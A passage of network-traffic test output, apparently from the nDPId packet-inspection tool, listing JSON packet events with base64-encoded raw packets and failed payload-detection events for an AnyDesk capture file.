LrMfBziun0VxFXW8Ojlo0ycPI0FusX3xTFViMLpCAsKCr5UGQ+qqdXPHMYfJx+Y2Y7y8VIw52VZUlCghVKXqSICyxXz+dvZ01AkrfWlCX7NICx7x4bhE9MldMZ\/i6wH3sI49R3eDVTAT\/abo2uUCItWdSfZFI0dVSQ6tVQxQIEZG\/i5d4X2A0eRm6oBWew6WMzWUq\/HDXunKyXKZRGrVb06azBqm0dsXXNLhqloPcNSHizkWvFf+YM7Pm7jBdzYW7AfIHnO+JG6io4Mo+0p1OaQ81lz7VfpBmhLv5lrmDyJ\/mSSXcdIvFXtrOnFIOWuAhnP02OfhJ8n+g4tMVFPrdHuipS48\/OAH2Z3RK3kM1iomJbw6LgL5pJMvwYHhD8RjZ9YtYk\/fbjenW4YpLC7VRKn5ripcdAl706JtnL\/p38aNm9xAv6P1hJjLe7ZC8vZAXH2tanBOEzLGTh7rCeUnx67KrkKWOB0U\/CFj\/2mkUilRtgEaH1SlHH4bJcxfiSdEApnT8d6ZMQbEhHJyz4JhZDGCyyxPY0kyNNItSQZUhO95tgb6okENITDFhVQ\/W8Bc4uTNLZ6pLTlX7WZPxZ2dcWMaKjnA\/8GzPRxCHGlQV29iKw4D21uoE0r2B4yfi0ru8NUSXZsrG3dGKj4chvvcKfwtdLwtPpvEEA04bi1oBDN7yUlvWnqNq1VyzcKEvBCJYcps5PKoXeWCPuU1dUriBojluXzOyvXykjKyI0nAt4l8FBvF65c4mw7swlhgkz6tJDZetLQ974lTEdeik4h6UWmujLdsZ6jleBsiOGjTrz0OhR0a1Y\/mT8ZNK61U463Rqpuwl3tOaKebhPYY8taSCJQwGxstnQWm8eO8024yFr1b8WbvEcW9ib1cvyYSQDR7conP8NF3fv9G+wNcaVHpiw6JXWNDhSkUzEdn7PLcHKbaSWnk3PzNiBRvYSwxuOhtzZ5uXIc+vUePZPyaPFAl4w0o4jhehFY+vD+Gl7+AO+Qmic2Wg9ShnNOkik7wTLwVYHtet1QM0xTESjxydMb1yD3sls9n8nBretwkWCm1y0V\/uO2\/bZn6atwnnd7CpLGjMH5u3S57y5gMB0rk3f1Mu3+9cJ7K81fUj3DzLyJdKJ8k5e1QR3Pr7FcB5xU71OEjG9cznCT1vaDmRGIUvY8Sdbodq\/APm978wAZVu338SpTV+wT7tISIHXJ1LWww2OLosJGx5UnBU7lycxyVnt36e4AxxOgd7fV64eBUkJcm5CH7+AQt92Kks13nCbRh70m0N\/qYglB1M7mdru2ndYJsSYNKlLE9g9spWZlQcCpt5v95MoDoWa890HVnvuCp7D7rcqIXudCXO3X9iVkw1bl40OmG68Tik71fcgs\/8qQX+AN6CWLsL1b8MmMaRHn8zLC2I8RorpjU0hNclI89E53p+JehI0aJDYnu4it0EFOR3adN6fQy0DE6wZMja3DJ9TlkWTwXtd+SzcwS9y9cpdjkEI6XqW6ZF05r\/SgpxrBlSObHBCqNjHEW8av0WKy7XhIHljAytZKD44vF+KRRGFgeu+6WN0QUozsZ7bmylrD26c6uo\/qiqCdxs88YUXAWg5e0XK4hLRANbxzpTcgkGExEUJ5mm8TWLSPoqZgk5v3KNKDIDtzHPVLS94EcTvx3\/d2lu93ZNXz4w042Lqn2vhEhlFaam68KnS1V0w5gvWmHhLnsyT6a+EG8IiSKEOdpI4UlJnCYjISa5HGAjHF4teo9TdE4LTy\/Isu3+29WXyp7znFpiGF+Nr6TIia2+x3YwAnn4\/hU58S6niarRkx2UoZZxGyEkvzQT+dG4wCq3oMrkwIDxql\/GVbnq\/cDGu5Q6CGtHNrd4xOPcRSvpdwG\/7v6kdmFqq2+dirE0XjjW59FulAde8i2YTOb6YntEnM3UyOKq7ex3e4vt+D11IniXFxBnw7j0EntoiAKrgSGtU5CzR2dulqS9d9pWD03hsOkRJwA0de7+5dtWkrNZSv5OSRu4uoXLoW61t7vQZmiMq2STp8\/6TbQYkL0N5f5jROWa4FkH6GsiHugyEVka85NLbt80\/+Qjhsw1djcphBCZ8dlPoIhp\/OU42DpGI1ZC08Ox6BEBx4nh5X4uT1OxV9kTIEDTYSUARKw402hwgHqhpxz6SD9zMlYdbu6gyB\/rWcRvJmxVzZbVUGPaZl9ndyAbro4Xpb3T3BOD0HvWAkx5WrEVvKN+6EX56Ub5yoBHnYjqkZVR9IuLIKyxFZBo7ElD6leG0C9CiT5Km+pa2s3NCNPEfY9dBjUypA2QA3gZsLjPrLY8sx3LFyyeLSi+qgkcLiWrEnVJA7gfk85da0CQ4v4JXpOxpo3sravZVbCt4y5R+oKLc5+kg8BDFHsqhYD9FVNHLn1I4ApzaV5bwC2q2ZxxZk2QGUknKW3HG63e1pyx8qDEd6sF6v2K9UkffvAmbBOgTL1r61qH2fFlDxoPhAhAgwIcvDgDTOEndMoKz\/sezd9je5Uc5nqBF3KcjzS\/pNY2PKDrnVVLTtNv+eFAA6xQA2iTl2xp\/KDyl8gz2KD+ajrUGxepC49zXm4m\/ymLtXD8g0NgAytlkA8rUjo0lKEABPO2OneND3ZKoBdpkQZuRAI\/kzZd2rK\/CGEocc6grKiowzyPrD0ezqtuo3K8Dn0rdco+W1cWvGJmR8ARlndxB3Ym8LShyULcbvp\/uLdft2tltzxb064U49XX+3IO3FHPP6iD5i7gb0yIGll1XbfFud50VaBfWG72cNNQ09CxaGskQEBNAH462QyZVywMsUWgAE2BLhgJkU7Ikh2rwsfSoOxZjHVLT3K0Fcx5BqF6wRCvdH25FWgGap8QBnuMcK4pRzzoQtnRoI+I0L48e7BjqMX1kJdQCn96zxwvJs+RNMMThsEhfxlBqq9ktSXk\/GcRbt+oi+e6663gaEaChDzeILrrpvkbMeDbkVkJSx+5Q2WR4u4Hr2WKc+U5jUWr3xyDQGTG\/ieISDlINDSMJ9UUXxTnj37gGWja+HVfxc9SpGAJFW81unKqHIbL1doufUGpG39NEKulCGKYtEhilijLy4x1tUOM2jXc1U08flWpU+BofViZY4hSIQcLhZ1xpTmujY\/HPva23KtgTCIjwAIydlWqnkqOqEzF9giV1IZgQjmzvBay+CqhB\/z3S383VjzVgK6NdmelTqf9DssmyxDIa93xi391y+9D\/\/h\/\/tzev027Wrm2NZ8lwGAzkbOgWf9rSJIdqZNxPOH5L"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1767,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2900} +07066{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1768,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":8109,"pkt_caplen":5005,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5005,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgg5AAIAGAADAqAG7wKgBstOUG56PLFpaWcQ+m1AYIBCExAAAFwMDE1JZ4hNO+msWh9FzQvGGVcc2Wz0r26aVnpwrJa3DZpCrQ1xYNowTWhjb1MVnXkTbr5zrpeoVhkJ4EJ4rhL+ZPo1PFbcIIUPUjVDAll++7FJ3XoM+kK24yDWksM0Y3JNHXmB7DKBaYIHICk4V67WGM7RCyw4XJS5HECEm2VnqTl3EjSQHhO2TV8xGOa8ltiQ3ChGplG6LzpeHf+9XYbtCBaXnJrcvaAIkPi1NDuV9ltMfuIZBSJH9xbdvHOnPWJgA4wSyy1mBA+QUlpfAKH6rpvhfgi04PQE9iOcBoJnmuDbD8dmItCL7TDfe3rRidnoRzxhouYJeM1fqCHw0l99kU0+2Np7FcGSMsdoVELBFwlAcpoTr9I3lSnhAB\/0jxAJkmfLrmitJKf9X+ZH2iSIA7OPSb2GPSZGb8PzQ1VqtBPk70FUNNUojOaGCC+lp7u+8TdtM8+fq+b82Xf0EZAAlG6hIntT7QPXpxh8TVkSfNR0YmqUqG3ftctnmXxOvXEbVbz11hsZMJ8XEUi+Eurl84QR7O45QxlAhcy1tF5y3FTqeZ8VMgXEU0x5lieN6OzDQv\/cC73d1YHbpSnqQNanoxIpnaPUvmf\/w2+T\/hT38mwzIY7yHk0UEBUnh7BRF+Qs8YTqbyZz5KsZM4MkVkbQeefNHWJOzR+trAwb+or8t6LWCSBATv4nfXzBf6JwPG+xUkDGTEXMEpNfvC1q9lbTuRlxo5l3SDffSJ7ewPJq25GN+1bJpnXwluAn7xPd49rWxAsoL0bu2qTVv\/kXRBe\/dmp8Ih0jektJ1IHz0uUhfr17cKZsU8vQo0p+7R7kyB\/\/DkgD8g05RJdJH1+FIYGXmmhinbV1wIHJXrHD91hVcEwskEqZo\/7cVEuXGwrh92Mor4WIJIeb3H9MacJHYWACCfp0GaYFInZln3uRiFjbl\/xhQEVl05KChcLS\/d8h3KrrBNwN7QLwyQejD+2uMJJkEq5QQHaQCuANxn4lTjB\/xrX8gDFlMzKHr7W3MBd3uDONbEhBjktutwTpxiUTtHIxGcSWgtRAoJpeVt8GJwTGhz7rrjS2\/hO6X9RIJRXbE35TFP2GNTsn5Haxy9sr\/9UVQgVSkXsMCQNtt6TpO0r05jNjNBuFL41kzDkSxk8ass8MPWln7014FIBT+GbjjDcqBMBGuJgXcqoonN19JNhAMSDcFwrBcC8\/cfuxeb0sJCNVwvO5XCj+ksBwGGt5BLgdumGVrhyArkygK4jp24ANTRy7kVPrcfrBgCNpDEK2v4B9Gb2vJaK2FH8JBVULKcaBctsE6Fc8Z71HCNEnPuMqBuPIC6bRK7+8N+FGUZgNj4RZ95hCqLZuflYm2DpYJNEAgWCPtmECY\/g3UnFCgcEg+5mVnHhpjq9ZinDsAvkyN06hthxiNMgcsdOBq7egnMShHFaRFI8GmoHCag1gjzpx6Cqmi5vu0OArFKmKqJf7LxjFGkHHeHc88E22umhtkauCcquwHytvUaLhqs5RDetBUhhKLWPgd27QB4sO8pICLRbJt\/xDWO2UkA6IVtsdqmX4xKyjT1ImyiopwFt0wCGlId+LjpWqELKTBJQ3Wub+DD5u9WUb0iP12ySXEcNXpt97jMT0P\/D8BakwNE830a5PTVIBG3e4hvdy8N3nfx\/07LSEsg6m1vaplEzz15\/P8fj6R9B7Jtg3zeERf9F+Qtw0GizE8uAvxgYwGNxieax\/\/ubLYyqbBCrU0zDifzcHNg1rZ5uY3XvYi\/AMKLRcIMGuG4HalYTGtaE6Fs6Y6L2kh8dVoXKLcv9tUoPEwGVrG77FV1vKeBb8w5hqGCjWRs+5cWcHOtLhEdz9WhMTOmPilakmgwlcRq0rbamYFNnvowybirJSWXL+t6SNgh8Xc0QI6own3uBYr\/rkfgedNYayrhd36UZl+9CqDOwJT+SqpLcZDMABsfrUYLby+KqLvnHEOGRnfq6ZCxMkzcUzMcJY3Wmahh9J1bYprEqQMMxAOcEbDpuh2hc3Ge3AospsAJdJk0dX63gI4CLnpZYU2eN65ieQa9eoWNe5ZUY\/WYbs9V2wwgSE0HcbJwVfaBy1LAHH7BX4nUIALey6HiczXRbUm1rDTXe80VyKl6Z+IiFQNpH2+CctMKgb\/YgM41A9OdFX\/UUjYY43qGMtm7edQqiuM0CtU9gMH43DDkFbiZH\/hWCaMVXGHRPJPD0rEdM1+zOIrdZbqsylHJaRh1i1GVmzsrzUWYUbEdXX5Pn+Mh6yjMjByaGoB60H5VU+ik8Lu2pYTFgBwgzfcBkU9KzBiy2mjPXbm2HpfOQAZmT5YI6OkFj6ifZsiBGruw7BbgEGXgmQnBiWj9b6owhjCvcPiYvs5lwSSizghBCcj8HnBNz3vPIZYOVJf6YUdPRVyGwmwsh2jNTHthqJkATJaMcoCikP+hOajLUlncH0ZBeZgW4tcRuORTLfSEgo3aK4mxGG2iTCC0ideh18oHy2YGGv7tZOjxxMeGfnTKxLdOi8utsG\/Cqy3Nh0xMqerTHz5XgWvUroh0GrNv2AaMzrI6dfDIjwOMolSonnjHtXBnM4U\/evS0m\/CR0PsSKf7UhjaFTsnX8tSoM+8VsuInuC6CTg2XEasy3BJPJyouNJuVdgbWPWLwWKCKBseA6+3MEP\/BlCqUmwntUbUsMlQaEuYeVx0cUtLlTXq4FWLidq3gJPSf1n4kMOrFSNlTsOctG5atwq5VLINo95rBp5PAuC4i9jJyfiYsqpF6rCkSB2W4wIYkN0hYx5HTZbiMONVcboJJMEhOuqDrztKI2JSux\/Bq1yNo6GKKBkehYPSXILY+Vb+TKKuvzSZ0msJYogHCQhfk6Ny4XFnLQ6HWu9+w4Txz9F2oxSgM17mGk7PiA\/dbvYPwW\/Gb64NlQaPIgvQxA+7Kc+oPNLWSAuOEuG5vmnbBNeDo+crQ2JvzcshcfJ2pr4aS0bytNE5Za9GPYbOX4iiy+NbwdA9axuslWhsRGGKMzelgw2qGO4bLFnrgExV+FcimdCSYbvnVkT5g947vHglzBsIZsLe7Yq8vbTcLHI95DkYHV3znf7kBNz4\/kNCzlz7M8YR8zIGuJr7P5aD9Egdh688eg5gSF31BMZqSMmETrVn9Y6M3juza1x4rcUhfLsxWS37eL\/5cJ8knsWtcYOKkqK8CgA6Q304YbKr7wJg0q3HOZeE6B19z7eK5dfa+PSYsMKm6pWmBUek6JQoEGl3OOZQCETUm2heA155LigXWa5OzW1fnPBsBj2a+6efuMrCEIrD17blHIK80Ou7ppnO8ryDybtYEazWyNklDKc2XpKei6eIMERZnhC6O\/lyZST9WwpL5SX6T2Bu3kBUv21x48HXuiTymMmE7V9mnFFOl+H\/6Mu80xJSD0JNSLtfbdyBVP4NMRKJfGAtmf7gN8pGphbxiYu7mtjCht7PpMUlnRwOE1aqkG469FJH0hjwNkPc37drVayei22hlMZqrn83lcbXdfEp4QD9WHL7r\/+yqzVbE\/BysWh7xZvkl402aEvxZ2MzVG2QCR+dyoewqSAhNFPI7z3W4s1eDpc+dDrrjZ07NNPPLUh7NhAwu8XCi\/XTPfLvjp2ybkM5Txb220BbYa+fXHHq+Ek+zu2mdiFImeR3h6f8ytZe9avDJ7NConXTLnNvMo9vykqLpjduFTDcz0EnbLVNgYcrp7hLPHJ5i8E7vs\/FCGjyi15a2PCHXfB6fBgn27qd5fZM\/PekuiMc1Ii0CC8USnIrdFpvs2Bqj4nBXiSoZnK8UJLZVx4XukmZwbyHLqavvxmuEv9vcR4SwaLgUnuw3FBsz+Y2xkktXH2Kkd+9E7ZoRHV7akmvIzyrh6DM1KbtJEhXLqgPDFhghpsTingmvg2z02Cxl2dis9S5Z0uPSTxzpmf2I1gnzD8hdyvR4cNrL28WbOfjRAx0wnnde1xJN+8hDgL0Xt1b5fIRMhS9KxosKeM8Y4iyaXSHDNbT57reXy\/Rg\/nFjigUQ\/OP+w3l7OOgX8V0Q+ofqcvJ6m\/OMH3J0Aplb4\/4F2XCi5yx\/kysgPhcn8qiFSIrggTMYnnkecqbfxvvmGrxJfJeUf1SpgLMt7VT\/CQsr2S8uWg7mgiBeJ937AGirRJ6vkqY+xIwn1aeQq0NzM2+Mbi1SfwRkT5IAN8m9h2CEVeokLsSmJjtOJD2dmE2AxNwNLiTYz3bCWcbNTtjWEBy7AyZ4PMK2F5gxbg4IV4cNPreGJGO6uSuYdo4bvK3m2H\/EoBPFP4MxhEPRi2450f3M0DDz4JQ\/xtSA0mDtnCQeqcOvMUCGGSc6JhnRuxaH1MFV2dm+hbvRKHZtmcrr6ZIFAZw4Hlax6LYBS\/IRIBRsgLVbWjVfHR6WQQA69XcrgvRtfLjw3v7KYrCU64A9Hwvr8tn0Wl0IiNx27bnFsRXtQaYCs+k0c7Z\/DAl9+\/m05qaVVbjm68ebx7zgkryn0V1ABVMJq5WsdwzNKKFogXVqnLGLvw4oFKTXgNy2me0RgNYxisni8Kr7dKTcXYxgeoHpVa1Ztuoit+ZX1bI3Qdldmu6CEGVuHmGhSzEkdlTtpwDSxG40YitRRulgJmJtfuF+05hwG8zKQdGc\/FWLOGApn4Nr22j3RUZUKZnbB4FTqTY4Jhnl5k9cwQKriXCU9LjIzuRBZAtl+egJGrXeh090b83G\/VGxDN4vOYgXOai09iNbAbAuutWhwdKE8RSXm47\/BOzEz8fmpUP7uZb46KnTrG64MhUulI04adb6mUrz1OV1+hncowYeA6nUE3Fx4yqt6L9BVBhuZveoqXgl1FcI\/O0lIEl01kmVwYIUOcAoz4hOf\/Spf0spJRpo8H6PqKqHR165BInVd2XRjXe4smJKKcXgbyre8uEXQ92TRx26Cv48jh81gQg5bHZuuAMgOqNnijbSaaE1Y5mrLj0Khn1StdjAo7BHc1gpBAxN\/fgejrYBsP4VQasHl03FrzWnKNT7DX6NuyFLPFgiqcQ0iS3dmkKRGW4Om50PObSczsaxhAUnHm48TJCyOeNGcPFzmWk0b7JvWadTylJCmdtKnJ+wueSiJLUawnXXwRMlJNaNn+XgqgZ1kRLMsrL3rVl8sELeWofqbnBunwXSKejtxiSQghLxQQ8yusClpr9z\/Bo4fBzX\/Ezjq2WMTSWz9rugPWyUALJXs5CPzH\/j2HeMFVeK4kI65oBuEowkjkErSkYOw2nMhZitwrrjVGd5AowKxSDm96xKVdKEPgVZaKELEeDrs4FcpsE3YcrxNg+\/id6uxYtIFhVxTuPmAZlIL591ZGvVHGJzX4zU3AsfgsIl3akFOcM8+cK3SLrattG8ZBKh099fPujN3y8gxprlYshhUyLot2x1oYaG08wiVc07GJDXkxTid69TY0N0UaELajdxK\/UHEcNunqLNrHgc2ySqSAxzbzggL\/25nzWYowEAjzgzG3dXyr1rD5\/5TTvsqa\/0Dll7Xa7D+oQ\/veOmwpPk4+ZdsE8vv\/YPsBaLSMsBfq9XzovuFTUzvP0zDaAJa4k0tk3VgCOAGFcJnTxDYlyM5YJJ8\/hFEkZf2CjpU8\/+hFSKYddJl9OdNQJhVgZyKWv77w6\/4EZXCTvMUkf3ZcSHBo6s6X4r9ALnJrqT7SOh81DagS\/KDaQxmYvjH0KfZj82FdbkvMsN3d\/P30yK3RXnd3OelJ0p7FW+PbEzpGn\/KCSl+wbbgp4gIGLIuL4kLBUw42tCT73eoqJeYqqE7oHkIqMAPhXojfX2DQJH1+aaWFtTT9qeJttSBGVFNzpYvldl6vbd2HIEbL47NJib9eyjQ\/2otl+xERRr7dqInBKV0Tq2BkxXwFjasEg1j6N930hq0Wr4Wx8zL6yWn7AkORWQmJODQOnWRBWuCynxbSCYJzYtLI2JnCthTSVYGjTmOdJ6UoJOFfGZGGssplVSaXfi37YgysztmtROdPhsW2RUramulYQoANJ1lwvmPpyYl5pEXfvkAZsemDIazjruKlrSdRyto9j\/d7+pcJt+mvacXDiBknyPx54yJ48XDdSjMmBR1mZcYIHt1QXC4n9XajX\/F0meq2V050f6OhMGfQcB26z0uCB2Ezlopui9TZ9TiE4zVtB8FskmVg4obbAQcDVJZ5y11KGm25RhfIdaUCbgzWRv+GmjbpxIp90kg8foq3sYEZ6qrZSLveLZyPgowKItQ+rfXxHNlQ1e9TVP7Jp9nTjwLZ1rD3cCabo4003q\/AtAB7gQKxKMLo4C2\/eST2YkFwvNGfWjAEWmw5znPfvSn8M1lBOAaURNvzHxYM0nXK5psWDt3FpyaGwvMWNNtAOvoqaPXMuNj2O1v1T4HHolz6AtPcTHQQNdSUAFmWrwu1uF70k7VosbTNRjILjIBke7E\/xk3NP7KfyL8Pom1I\/uCwWVTPQCf9nt31wmzwokdGepDd4chYreZKscookEWvUGcBJ7p65Jj9vJ+CMJqP17uiHMaqoHNrwjldlfVe5B5HzUuywhXrteioicUaIFdTBJWA9B7kd0D3f\/R2UaefniHz6srTFLzuAagBWMst\/N0ZnZT8ATDcYTLwt5E8pSkNqLQFvZgsnFtGv2zykpGietw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1768,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4971} +07332{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1769,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":8380,"pkt_caplen":5183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5183,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAghJAAIAGAADAqAG7wKgBstOUG56PLG2xWcQ+m1AYIBCExAAAFwMDFARZ4hNO+msWiNxHZUz0JBAbWF2SMbihJUd2V+Xi\/cdqEw0M0RhP+HN0Hp7D6mYGezxeCF93XvQzYbG59H5F0ACM3SY4qNhU+A4tIA43uenRWzgyQ0n3RzPtHNHsO4e+RjpDbPvy5BCWK+HAf6ciQxAo2YBuwioF2HB+gLBRhWSHsBGHJj38+wAjaxbsZYbA8LdOX7VRdP74uEMsZ+snDKAwt\/pvkhBj4oY5XlZJq63iJfvhr2eXDvja84Vx8jiOuXd9eG0Uu+CBZcBHFuQdtuppLjs3xdbr65DQ9suVHVW\/+lioKDAn\/abvRIoQ\/9ztpXINkPuBe8qFjzW\/6Bf51MuLYLXmWaReDF+OuUQytx\/Q5cQCzD1RapFsZWMojJCR\/0+PukMJuIlJWDw6QEHYeHv0y\/FJ28NpsAuARc4oX2eJATTh1RfHsefiw1gwFs8uExlcrorEJkT0U1CCEwn+CQucXBLUbPX1DQ49nEiNL2WdO8R0NxOEgBji0hpTASaoKgocEigCYUhY79G2WXawGJHZGhE0zi4\/Y4YQ9b7XuifXJYnShJ1QeL3L0X9nye4eiT\/c1iHJ7hU4w5OkFPwfgGxQIbMYCE+\/aL0ULB+tzzFhv9HA12d0U0aRKb+7q5N6In8bAGxA\/7YeiP9sZW9sH8zFk011cHEU+j3bbj2kjvs9oHOUS60tqI7KWaIAj3ycTn3i07t6TrrgCKJFqQvm9auvF1ZAFwCeY2HXdvzsKAgKsg6KhnBsjRTDQ7EVyhosLzdUgHao\/OJwxfjZNthJd+2wqVkYUXPq\/adREDAyq\/VKiYeanuVKiIV7Gj0cCFyXaYClJh2ll9zTMRMO72s0nWmqH2Y\/OhdlOrQ56bza9r2sKC2nvcGyaVqCuuY0VgA+LZQvZAut8mKXzkdRR2BhPHOzL1P2TrUD9NCRipEeETaaYNmlYFJ5B99fiReZf6EFdvLWEKVJP6El+o77H9ltlihkw62LY4T1jEuoS6PxwyZMHSpzT48WZGL9BreGe5y50x9Ud180FnmgdGwpNUqPa5OqXuL5W7bJ3mY0Pgou2Nb5B4nOPJ7BZVN3WKbeMWA0tZL44qcG+I2aEnf7XKKtoA1hl+9nBvt0PXhR6i8g0PaRbSwrZ76AkWC4lbzQyoaIAz4dhOrllPRLxt\/zsOjnq7nyAyYPME5vcUY054VtL1mfrgr3K+6vonksR3p2GAyILwMsT7pVdwOE9vVQrTi2eRVRltu8j20vew7XkKKxiud9I6ar15rpkyzLmO\/6cynSPD+Nr6gJXHL7jkA9081nmTDzD\/LWHUXVeiuqVGckVjpKfEAr3d84Z4v1yQslrOkvgwa7RPHRRLmH\/MMfZcauCvEQssdCJgBJFj6\/M+5LqvxP9BqkRuNfTumBTTRURUMZmO6yH3TP1shEUdAEg+\/\/6iVT3WJSlJBRa+OOoxdrx21ZY\/rvHZMlwwW3tJPxwTyznI7mSUWssHIVGx3UX5vxR9uX2t0f8wwyapXrO3gsGaf4cjuabnTkzAC1kVjh5LewivNODoLdNTE+NJAWS2YPIv6kDcG913J3dQg9oLDN6CflMEF5rT5LeGJKw+uPIWoPr8H9A72fxSI+ZAn7HE++NuVxBwhxHMlHik+R8\/N4iG9AeBCajWBZk6uhqaRIx5nEk0on0AycLD8oio1+c\/zLleeVHeaqL+Ab\/gaoPsfIbY8urJxNPMc2hupDQMJifKbi6D58cXU9qXJaUcQZVZ5C1vvLKrxX+uF8Ek8as3wDbIwS7EsG\/g4D3NVKQ\/IjJ3QJ2gLGXdejN05H4+IZRRMmA99ZaJvntq03nRRnuy7zpu0QHxEFHNucbZ9K6mGfSXdxg8K0GIQBmrTFQry8\/ftch7yJu1W8m2\/yetZ2UyDnyINdZlDQ6OKaMZUDs\/53Oe8ILLT24i006ZuEtf2Q+FmMZQIXP185lqXQiBASxUm4Socf7ESv\/ON075OdDp3\/z0dwfctKY45GdXwi4XDvX98PJNwx+bU0Ni3I4KDh\/5SttuWhSlO1Ge8PZ7Aa5cJczG1bdMpWcRkfE+Y8eJ1MgZ56e4bxNt5Lkp9y19yQ+3v9gCGQ+KcHMNMogQJR97cqLiDlrDFlRuVrBv7nbK0vfTu\/4vTHvVAT3QpzQabbXDOzML2Xr\/He9RY\/lUEucQwieX4bCJ2ezeVPKhX4\/oXgCY+9RHJ3OdK5w998nQOoSxbD38sRoHTV48w05TD3gtoi7zQyL9CmHP\/fkIBQ+6kgBLaMvkdkCccLtH4qhd4OtHgV5lM7lgBrUGbQfp498ficduBe2cbIlPV6d1x3YSmaH9f\/YcL2Y8bt\/UGZlqiRNuQzc3B+RrDOmhWzAiRis44d0XlbOvsGH+Z36bDFFVQ15JM9\/WwfegyrpvrLeD9QwvaphlNAf\/e2u1ETfzAEArc0t0MTOdgKQOp3SMLUCvAck793ddbJEdiVvQN9nTEJWIwbjgOTJgn6bHeTP\/Hdx6dAsywgsKg2CyjeEIC\/muHcYg3XceaxIn6+f+rLZCZhh8Eu9+9RPLyqBUed2UhQ5yLMkNFp0xW9ejW0RfR0wy3GtVFbE8i5Cj1v8K3m\/NJeeUVLDJ97LnRgE6yutAlM70MqAUqxoZuWpN1ZE48ydYhjHiZt2hdX6IQlbyShB6A4jN6ix6hJukYLCwPBq56FZc5LrcFeqSWfl17p22Bq6wvBQaZAwFJNx4l8THAbhZnKbTE66Qxd+drTbjFgm9MythGkYLTo2PsLk1\/x8kz8nof4doVYXsw8X\/gpTouu6L7HPPtmBSSvGKrjY2LSKBiT8f5TBq6XI7kXRViXaou4zqKPLHjWoDlnixNsLwyT+nSd7ryrh5+PSS\/86LKWJUMGKZkhhS9R+c1wQn0mQP0NAZqCdk01ys6QquAFrPFB9EhzX9O5WipVXhBv2DgXSs5mlzx4Omz8Yas6b1l05yFKqw2WHABh\/0vWd6DJhF5hnC3p+pA9VtTICIIvPnBx8+PhU8PmmeDlcnOu\/1Toj\/pVkys\/QOSO8nB8jKEJq9NGIparWEYyOANh5TiWrxX07ndC3A81Ts0GsnhtCgrRcUzmZEVxyYaf+5OqA9DrQeY3xBcfUkr2uzYsc+r0nZoz66HwjbY80xbnoIKoWMz41ShBFwcAcIiUtS06y+dwPnD9ygsjj+p1fMb8NmrLGgkhnp9igTcMBr9FfS6HV6+fBXsA5hyBqCQV\/W6u6+5+BvECy3LFENe1sscCGrGNazomceq8aYImRIgHYrbAXJ3runyH+ClZPkM\/pDEVwU7W88TPGtrCnDcqEDCOT\/SXWF0UTj5osJGMGn0c\/\/uFhDk7EwEyYfND3kO29XpYQpQtcTnsGuivKz3UvcigKRQNr0P6OOxLiX3+knfgCQpbRxltFma94BKLmWlhpL\/jXcrCwc\/cIhO93wFT8YHEZH6zKbpZYCw36TIH+LohBTKwSUfk7hDN4IU+cMtuWGW7QxRDWPHJZpp\/0S83XGFPtAxFwfqZHU+VX6wkr8O++VSO5PUeJsM6QklLvQzWGSAklRisi+93qTQtuDHt2QmcAUsxGjrwLSHDf\/cXNs0p4nYx\/gxS7eY2OMvV1p+oOSiyXxJR4ucme3VDue45qiAgJL3vJRExZsql6A+hYdEDRaTAzmhOj9+k9l4Pkwu6OhEVWWuU8lkP1fEpFQqzPsXasLzhtXt2zKj7iEbSvzIZysbLl+Du3c0O933e0urWC8jj4ilo\/tLgdD5B00DVoRWn1MIOoKnOLPMByuzzvtr5H3MlzGLcO9lDxmQmIpau7KFHewjTwRzG3z8ba4fnCLSGY5YpSZFUEOTtdKImV70fuBOCb0Cg26wfmFvaFKWu2nEfox4ujt\/IZxcKMVfz\/IuliIv9ImFdoFcPfYjzlNZUu8bgSXGpS0ekCItuKDT1ZbUBvlQmOEm2bgvcOgyIJLq50A6mERv47ZCmobVHiwIPJn2DMRoBfTWCX+HLSgBS1Y7RT4qNWiFrGOwENdryg5UlzUWlzq9VJDuE9S3vyFX7favQPrcy0m+tUSp1l29xoej2yBu+F0\/ywbm+GzH\/O6N\/Bqc40aVaw3pnkyt\/Z8FTWYtFwDmHKz4OtAjjgO59tw3v5RqVNglvebz9FAmctBvBd0iHv+xjCVWV\/c6+xzJ+k4d8CEq1cEWyMwuzkXsIFYMrxe7\/xyijNByGhm+ffI6K1un+0B02XTcndYzKcnWp7Mj+4ZuES+QCwYWeTCJd9LqpYGRSCnjW4mBX+nPkglq3eVoTHgsiDxk6WXyvJdynbO0H9OGAeTvov8yOsGbBVLk9feJaa3PVVXKbKG3DG9dJZ1v4ZrQtshGhVBmByN3LAys\/dpHQjnpPBkOspAx2ril7T0Kqx7fzMXQ5nE4KYWaw5SNyOADgibUN3OMf9qUfJv24xQOKcjl4RhEYPBtFTkQGgNM6Bc3qdEYKd32I9S48KBwtQSVX9ZyUelPAPqoil5dpN1zTtWRVTa32m8MR77Ea95TQ3ugSxzQv5NM8QvbKhhTfmwDp56H50QokVbXpwqJN4SYLNrpcMbJLqc\/SapVfpjHNWu2eFhPxIB7ctH8ckYkCZDZscN0PM0uHWCodIokYsjr3zMtnejOLVMcoVq2MoampPxpfSqfOtg1fSFPiZVYt1bpFr5gEqCmVH8jLX8XXnr3pATfZNV8MUhBOuNI7wFNe9t5K3o7LhOoPoAYSjh6zOrN3WaTpRzj518KsS6hdJTF2egsCnQM034Z18Co5FT3vcNON0Pygu9NUARPGkW34bsgT4\/qnzUTNpfSpFUkiYjR3qlcWjbxb\/SeAsoZKXFfw+UVxM8HcdKyHJoYbxygxbTmAQp+kYC1T8kecGV76ak4KYyJ+XmmrGL6dKT5j5rwcnyoFXWVoTQaoPyZJ+fCAkpmPEXnW1\/v3lwumhULjbCWCuONxjN0HMwnFUxNnNqTUSWv5WhL4OjvvlwG1jGs3VhEaj5c1eL4f4cOIM\/J